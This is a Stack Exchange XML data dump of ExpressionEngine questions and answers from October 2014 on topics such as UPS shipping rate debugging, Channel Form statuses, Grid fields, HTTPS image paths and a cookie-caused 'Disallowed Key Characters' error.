  <row Id="26136" PostTypeId="1" CreationDate="2014-10-09T19:30:13.277" Score="0" ViewCount="60" Body="&lt;p&gt;Is there anyway to see what data is being sent to and returned from UPS?  It appears that the rates I'm getting back are not the rates I'm expecting and would like to see exactly what data UPS is rating for.&lt;/p&gt;&#xA;" OwnerUserId="3044" LastActivityDate="2015-02-07T12:47:21.980" Title="CartThrob UPS Shipping" Tags="|cartthrob|ups-shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26137" PostTypeId="2" ParentId="25596" CreationDate="2014-10-09T20:07:23.960" Score="1" Body="&lt;p&gt;Just set them as class variables inside your plugin's &lt;code&gt;__construct&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __construct()&#xA;{&#xA;    $this-&amp;gt;my_api_key = 'foo';&#xA;    // OR&#xA;    $this-&amp;gt;my_api_key = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('my_api_key');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then inside your other functions, just look at &lt;code&gt;$this-&amp;gt;my_api_key&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also do a hybrid of my and Yuri's answer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __construct()&#xA;{&#xA;    if($my_api_key = ee()-&amp;gt;config-&amp;gt;item('my_addon_my_api_key'))&#xA;    {&#xA;        $this-&amp;gt;my_api_key = $my_api_key;&#xA;    }&#xA;&#xA;    if($my_api_key = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('my_api_key'))&#xA;    {&#xA;        $this-&amp;gt;my_api_key = $my_api_key;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-10-10T15:55:38.643" LastActivityDate="2014-10-10T15:55:38.643" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26138" PostTypeId="1" CreationDate="2014-10-09T20:35:57.457" Score="0" ViewCount="87" Body="&lt;p&gt;I am working on a project where the client would like the customer to select a region before adding to cart. The region has a tax_rate associated with it but is NOT dependant in IP or where the customer is located. Once of the selections is Dealer which offers a discount. How can I complete this. Please note, this is to be selected before anything else happens.&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2016-05-24T10:50:46.450" Title="Expresso Store, set tax rate at beginning of shopping" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26140" PostTypeId="1" AcceptedAnswerId="26143" CreationDate="2014-10-09T22:08:41.473" Score="0" ViewCount="53" Body="&lt;p&gt;I have created a file grid field option to store product images in a channel fields. To display one from them on the site I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {product_image limit=&quot;1&quot;}&#xA;            &amp;lt;img src=&quot;{product_image:image}&quot; alt=&quot;{product_image:title}&quot; class=&quot;img-responsive&quot;&amp;gt;&#xA;    {/product_image}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it always pulls images as HTTP connection even when I will come to the site as HTTPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-10-10T00:21:56.953" Title="Grid field options - file and HTTPS" Tags="|grid|http|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26142" PostTypeId="1" AcceptedAnswerId="26144" CreationDate="2014-10-09T22:38:52.433" Score="1" ViewCount="252" Body="&lt;p&gt;Implementing the solution found on &lt;a href=&quot;http://themetaq.com/articles/bring-matrix-data-editing-to-the-front-end&quot; rel=&quot;nofollow&quot;&gt;Bring Matrix Data Editing to the Front-End&lt;/a&gt;&#xA;I've a matrix field that contains a &lt;a href=&quot;http://docs.pixelandtonic.com/fieldpack/fieldtypes/dropdown/tags.html&quot; rel=&quot;nofollow&quot;&gt;P&amp;amp;T Dropdown field type&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;role_level[row_new_0][col_id_46]&quot;&amp;gt;&#xA;{options:role_level}&#xA;&amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;{/options:role_level}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't work (no options output), the author of the post adviced to hard-code the options &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;level_matrix[row_new_0][col_id_46]&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;&quot;&amp;gt;Choose Level&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;Entry Level&quot;&amp;gt;Entry Level&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;Experienced&quot;&amp;gt;Experienced&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;Manager&quot;&amp;gt;Manager&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;Executive&quot;&amp;gt;Executive&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i make the selected option remain &quot;selected&quot;? (will be doing this on many other fields)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-11-09T22:37:51.387" Title="Custom Matrix Field in Channel Form" Tags="|matrix|safecracker|pixelandtonic|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26143" PostTypeId="2" ParentId="26140" CreationDate="2014-10-10T00:21:56.953" Score="2" Body="&lt;p&gt;The thing you should do is edit your upload preferences with a relative path and not an absolute, that is to say:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Server Path to upload directory = /the/actual/server-path/to/my-site/images&#xA;URL of Upload Directory = /my-site/images // Note we're not using http://my-site&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This lets the path be more flexible by letting the browser/location use the current http method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using a bootstrap you can modify it there if not use the file manager within EE CP&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-10-10T00:21:56.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26144" PostTypeId="2" ParentId="26142" CreationDate="2014-10-10T00:28:51.517" Score="0" Body="&lt;p&gt;I got around this in a recent project by making the actual field in the entry a text field - the entries were ever only going to be editable via front end so a dropdown/select was redundant. Then using Low Variables, created a dropdown/select that I can call in when required. I actually created a few for my needs but could work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Create form:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;scrim_type&quot; &amp;gt;&#xA;    {exp:low_variables:options var=&quot;lv_scrim_type&quot;}&#xA;    &amp;lt;option value=&quot;{lv_scrim_type:data}&quot;{selected}&amp;gt;{lv_scrim_type:data_label}&amp;lt;/option&amp;gt;&#xA;    {/exp:low_variables:options}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-- This saves the selected option to the text field on save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit Form&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form entry_id=&quot;segment_3&quot;}&#xA;    &amp;lt;select  name=&quot;scrim_type&quot; &amp;gt;&#xA;        {exp:low_variables:options var=&quot;lv_scrim_type&quot;}&#xA;        &amp;lt;option value=&quot;{lv_scrim_type:data}&quot; {if lv_scrim_type:data == scrim_type}selected{/if}&amp;gt;{lv_scrim_type:data_label}&amp;lt;/option&amp;gt;&#xA;        {/exp:low_variables:options}&#xA;    &amp;lt;/select&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;if&quot; statement uses the entries value for the text field &lt;code&gt;scrim_type&lt;/code&gt; to 'select' the active option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps :)&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2014-10-10T00:35:02.990" LastActivityDate="2014-10-10T00:35:02.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26145" PostTypeId="2" ParentId="26134" CreationDate="2014-10-10T00:56:12.453" Score="1" Body="&lt;p&gt;It looks like you're simply testing to see if the nested entries are empty or not. Could you not use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;buy_now_options&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;  {exp:stash:get_list:nested name=&quot;purchase_urls&quot;}&#xA;  {if no_results}Show default link{/if}&#xA;  // There must be entries so show them&#xA;  {exp:stash:get_list:nested}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-10-10T00:56:12.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26147" PostTypeId="2" ParentId="26132" CreationDate="2014-10-10T03:25:37.877" Score="1" Body="&lt;p&gt;In your Freeform preferences in the EE control panel, you need to have the &quot;Show data from all sites&quot; preference enabled if you wish to use forms, fields and notifications across all MSM sites. :)&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2014-10-14T14:18:32.523" LastActivityDate="2014-10-14T14:18:32.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26148" PostTypeId="2" ParentId="20464" CreationDate="2014-10-10T03:46:02.463" Score="2" Body="&lt;p&gt;Given the licensing for dictionaries, one of the only other viable options is to use the browser's built in spell check.  This won't work in older versions of IE, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Native spell check functionality is by default disabled in the editor, use &lt;a href=&quot;http://docs.ckeditor.com/#!/api/CKEDITOR.config-cfg-disableNativeSpellChecker&quot; rel=&quot;nofollow&quot;&gt;disableNativeSpellChecker&lt;/a&gt; to enable it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;config.disableNativeSpellChecker = false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can do this from WYGWAM's settings. &lt;/p&gt;&#xA;" OwnerUserId="3349" LastActivityDate="2014-10-10T03:46:02.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26149" PostTypeId="2" ParentId="24994" CreationDate="2014-10-10T08:11:09.507" Score="1" Body="&lt;p&gt;For what it's worth, I think sending a password reset email to a cc or (worse) bcc is a huge security and privacy concern. As a user I certainly would not be very happy about that happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a big difference between a Super Admin being able to log in to a user's account via the control panel and that Admin knowing a user's password (which may also be used elsewhere). It's for this reason that you a Super Admin cannot ever &quot;see&quot; a user's password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even within a &quot;trusted&quot; system, i.e. a private network, allowing other users to have the potential to change a password removes any credibility to any audit of activity. Basically, if more than one person could change a password you can no longer say who was accessing the system when something happens.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-10T08:11:09.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26150" PostTypeId="2" ParentId="26070" CreationDate="2014-10-10T08:46:42.767" Score="0" Body="&lt;p&gt;You don't need to use Freebie for this. Just create a template group called &quot;tag&quot; (tag.group on the filesystem) and an index.html (for listing all tags) and then another template that will pull out blog entries by tag (for example content_by_tag.html). There you can pull out whatever information from Tagger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use Template Route Manager to set up a route to tag/content_by_tag on /tag/ if the url has segments after tag (the tag). See screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DvmDK.png&quot; alt=&quot;Template Routes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice &quot;Require segments&quot; dropdown set to Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your content_by_tag.html template can look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:tagger:entries_quick unitag=&quot;{segment:variable}&quot; limit=&quot;999&quot;}&#xA;{exp:channel:entries entry_id=&quot;{tagger:entry_ids}&quot; channel=&quot;blog&quot; dynamic=&quot;off&quot;}&#xA;&amp;lt;-- content here --&amp;gt;&#xA;{/exp:channel:entries}&#xA;{/exp:tagger:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the index.html you put whatever you wish to show if the user visits the /tag/ page without a tag as the second segment. Ie. a tag cloud or something.&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-10-10T08:46:42.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26152" PostTypeId="2" ParentId="26136" CreationDate="2014-10-10T10:08:16.947" Score="1" Body="&lt;p&gt;I spent about a week writing a very complex bespoke live rates CT plugin recently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To debug it, I used kint. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://raveren.github.io/kint/&quot; rel=&quot;nofollow&quot;&gt;http://raveren.github.io/kint/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/adriangonzales/codeigniter-kint&quot; rel=&quot;nofollow&quot;&gt;https://github.com/adriangonzales/codeigniter-kint&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I installed it via composer and load it at the top of my plugin via:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;require '..//composer/vendor/autoload.php';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I use Kint::enabled(true); d($some_string); d($some_var);  etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To debug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't used UPS but it looks like ~ line 474 is what you need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;        $url = &quot;https://www.ups.com/ups.app/xml/Rate&quot;;      &#xA;        $data = (string) $access-&gt;asXML(). (string) $rating-&gt;asXML(); &#xA;        $result =   new SimpleXMLElement($this-&gt;EE-&gt;cartthrob_shipping_plugins-&gt;curl_transaction($url,$data)); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...so if you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;      d($data);&#xA;      d($result);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...you should get what you need.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-10-10T10:08:16.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26153" PostTypeId="1" CreationDate="2014-10-10T11:07:32.663" Score="1" ViewCount="940" Body="&lt;p&gt;I have a Channel Form set up which is working fine and inserting entries into a Channel with the default status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now there is a requirement to allow the status to be changed when creating the entry via the Channel Form but for the life of me I can't get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using the Channel Form {status} tags and also tried hardcoding the select drop down but no matter what I do the default status is applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the EE tag version&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;status&quot; name=&quot;status&quot;&amp;gt;&#xA;{statuses}&#xA;    &amp;lt;option value=&quot;{status}&quot;{selected}&amp;gt;{status}&amp;lt;/option&amp;gt;&#xA;{/statuses}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the HTML&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;status&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;Pending&quot;&amp;gt;Pending&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;Approved&quot;&amp;gt;Approved&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;Declined&quot;&amp;gt;Declined&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;The only thing I can think of is that I'm trying to set a custom status and not the normal &quot;open&quot; or &quot;closed&quot;.&lt;/strike&gt; Even using standard &quot;open&quot; and &quot;closed&quot; (via the EE generated drop down) doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is using EE 2.9.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone run into this problem?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2016-11-25T12:34:03.333" Title="Setting entry status with Channel Form" Tags="|safecracker|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26156" PostTypeId="2" ParentId="26027" CreationDate="2014-10-10T14:47:17.540" Score="0" Body="&lt;p&gt;After getting with Ellislab support. It's nothing wrong with the API channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regards to the errors on line 299 in Api_channel_fields.php I was missing a call to &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/api/api_channel_fields.html#Api_channel_fields::setup_entry_settings&quot; rel=&quot;nofollow&quot;&gt;Api_channel_fields::setup_entry_settings&lt;/a&gt; before the &lt;code&gt;ee()-&amp;gt;api_channel_entries-&amp;gt;save_entry&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my constructor I had to also instantiate the the channel_fields API too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library('api');&#xA;ee()-&amp;gt;api-&amp;gt;instantiate('channel_fields');&#xA;ee()-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So before saving multiple entries in a foreach loop my code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;api_channel_fields-&amp;gt;setup_entry_settings(4, $playa_data, FALSE);&#xA;ee()-&amp;gt;api_channel_entries-&amp;gt;save_entry($playa_data, 4, $playa_data['entry_id'], FALSE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To redirect to the proper content publish view in the CP, I also had to define the entry_id and channel_id with the api_channel_entries at the end of my foreach loop so it wouldn't return me to the last saved entry in the CP. Previously it was redirecting me to the last published channel_id 4 after publishing channel_id 3.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;api_channel_entries-&amp;gt;entry_id = $data['entry_id'];&#xA;ee()-&amp;gt;api_channel_entries-&amp;gt;channel_id = 3;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also be aware that when publishing a new entry, $data['entry_id'] equals zero, so the content publish view in the CP will not display. Earlier in my method hook, I did this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data['entry_id'] = $entry_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="931" LastEditorUserId="931" LastEditDate="2014-10-10T15:23:36.237" LastActivityDate="2014-10-10T15:23:36.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26157" PostTypeId="2" ParentId="26153" CreationDate="2014-10-10T15:20:17.177" Score="0" Body="&lt;p&gt;Silly question, but you're sure the custom status group is assigned to that channel, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried {status_menu} ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#status&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#status&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the second code you tried looks like it should work.&lt;/p&gt;&#xA;" OwnerUserId="827" LastActivityDate="2014-10-10T15:20:17.177" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26158" PostTypeId="2" ParentId="25621" CreationDate="2014-10-10T15:58:36.927" Score="0" Body="&lt;p&gt;I used &lt;strong&gt;updater&lt;/strong&gt; to install Expresso store. For what ever reason the Extension piece was not installed. I went into add-ons and manually installed all the peices for Store and it works now :). The zoo fields are showing now in Expresso Store to map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or it might have been Zoo Visitor just make sure all pieces for both are installed.&lt;/p&gt;&#xA;" OwnerUserId="3565" LastEditorUserId="3565" LastEditDate="2014-10-10T18:38:54.330" LastActivityDate="2014-10-10T18:38:54.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26160" PostTypeId="1" AcceptedAnswerId="26162" CreationDate="2014-10-10T19:07:47.453" Score="1" ViewCount="165" Body="&lt;p&gt;I'm wondering how to use categories with Grid in a particular circumstance, or if that is really the best way to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, I'm doing a website for a restaurant and they want to be able to update their menu on a daily basis, so I want to use a Grid fieldtype for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question: is it possible to have a single Grid with the edit screen like this, with &quot;Appetizer&quot; and &quot;Entrée&quot; as categories?:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Appetizer&#xA; -- item1&#xA; -- item2&#xA; -- item3&#xA;Entrée&#xA; -- item1&#xA; -- item2&#xA; -- item3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or does it make more sense to just have Appetizer, Entrée, etc. as separate Grid fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2218" LastEditorUserId="2218" LastEditDate="2014-10-10T21:53:28.870" LastActivityDate="2015-02-03T06:05:20.973" Title="Using Grid with Categories" Tags="|grid|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26161" PostTypeId="1" CreationDate="2014-10-10T19:30:53.727" Score="0" ViewCount="54" Body="&lt;p&gt;I have basically copied and pasted the example email contact form from the ExpressionEngine 2.9.2 User Guide (&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/email/contact_form.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/email/contact_form.html&lt;/a&gt;) and it is coming with the error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The action you have requested is invalid&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is the code in question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:email:contact_form user_recipients=&quot;no&quot; recipients=&quot;gabrielthornton@guicreative.com&quot; charset=&quot;utf-8&quot; replyto=&quot;yes&quot;}&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;from&quot;&amp;gt;Your Email:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;from&quot; name=&quot;from&quot; size=&quot;40&quot; maxlength=&quot;35&quot; value=&quot;{member_email}&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;subject&quot;&amp;gt;Subject:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;subject&quot; name=&quot;subject&quot; size=&quot;40&quot; value=&quot;Contact Form&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;message&quot;&amp;gt;Message:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;textarea id=&quot;message&quot; name=&quot;message&quot; rows=&quot;18&quot; cols=&quot;40&quot;&amp;gt;&#xA;        Support Email from: {member_name}&#xA;        Sent at:  {current_time format=&quot;%Y %m %d&quot;}&#xA;    &amp;lt;/textarea&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;input name=&quot;submit&quot; type='submit' value='Submit Form' /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;input type='hidden' name='XID' value='{XID_HASH}' /&amp;gt;&#xA;{/exp:email:contact_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have searched for answers and come up with the secure form XID bug. As a result I have, as you can see above, included the following code to send a valid XID code with the form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type='hidden' name='XID' value='{XID_HASH}' /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the problem still persists. Does anyone have any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gabe&lt;/p&gt;&#xA;" OwnerUserId="869" LastActivityDate="2014-10-10T19:30:53.727" Title="Standard Email Contact Form produces &quot;The action you have requested is invalid&quot; error. How can this be fixed?" Tags="|email-contact-form|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26162" PostTypeId="2" ParentId="26160" CreationDate="2014-10-10T20:39:10.903" Score="2" Body="&lt;p&gt;Categories can only be assigned to entries, not fields. You're better off to create a new Grid field for each part of the menu (Appetizers, Entrées, etc), so that you can enter each menu item row-by-row under each section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, you could have a checkbox column in your grid called &quot;Heading?&quot;, which indicates that that articular row is is a heading/divider in the menu, then design your template accordingly.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-10T20:39:10.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26164" PostTypeId="1" CreationDate="2014-10-10T22:02:59.753" Score="1" ViewCount="951" Body="&lt;p&gt;I get the following error when accessing most pages on my site. Sometimes some of the pages load, sometimes not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disallowed Key Characters&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.claireyaffa.com&lt;/p&gt;&#xA;" OwnerUserId="3672" LastActivityDate="2014-10-10T22:22:26.910" Title="Disallowed Key Characters" Tags="|channel-entries|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26165" PostTypeId="2" ParentId="26142" CreationDate="2014-10-10T22:04:28.293" Score="0" Body="&lt;p&gt;Maybe I am missing something but you have to set the option that the person has selected to selected=&quot;selected&quot;. This answer seems too easy though. What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You were correct to hard code the values. &lt;/p&gt;&#xA;" OwnerUserId="220" LastActivityDate="2014-10-10T22:04:28.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26166" PostTypeId="2" ParentId="26164" CreationDate="2014-10-10T22:22:26.910" Score="2" Body="&lt;p&gt;ok. I'm pretty sure, that you have this problem, because your site ask for cookies with name &lt;strong&gt;__utmt_~1&lt;/strong&gt;. And &quot;&lt;strong&gt;~&lt;/strong&gt;&quot; is Disallowed Key Characters. __utmt is Google Analytics cookie. I think, that it is happens because you have two Google Trackers on your page: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var pageTracker = _gat._getTracker(&quot;UA-8460157-1&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&amp;amp; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var pageTracker = _gat._getTracker(&quot;UA-9184900-1&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try to remove one of this.&#xA;Possible you will need to cleanup cookies after that.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-10-10T22:22:26.910" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
